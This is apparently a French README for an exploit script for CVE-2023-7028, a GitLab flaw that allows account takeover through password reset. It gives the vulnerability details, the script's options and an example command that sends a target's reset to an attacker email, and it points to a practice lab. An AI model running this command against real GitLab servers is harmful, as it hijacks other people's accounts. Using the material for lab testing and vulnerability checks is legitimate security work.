CVE-2023-7028

⚠️ Cet exploit a une finalité défensive et doit être utilisé par des professionnels de la cybersécurité pour identifier d'éventuels serveurs GitLab vulnérables.

Description

CVE-2023-7028 - Prise de contrôle de compte via la réinitialisation de mot de passe sans interaction de l'utilisateur dans GitLab Community Edition et Enterprise Edition

Produits et versions concernés :

• CVSS : 10.0
• Exploité activement : OUI
• Correctif : OUI
• Atténuation : NON

Aide

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

Exemple : python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

Laboratoire

Vous pouvez utiliser la salle Try Hack Me GitLab CVE-2023-7028 pour tester l'exploit, car elle exécute une version vulnérable affectée par CVE-2023-7028.

Vue des serveurs GitLab par SHADOWSERVER :

Références

• Publication de sécurité critique GitLab : 16.7.2, 16.6.4, 16.5.6
• Plus de 5 300 serveurs GitLab exposés à des attaques de prise de compte sans clic
• Statistiques GitLab de Shadowserver
• CVE-2023-7028 - AttackerKB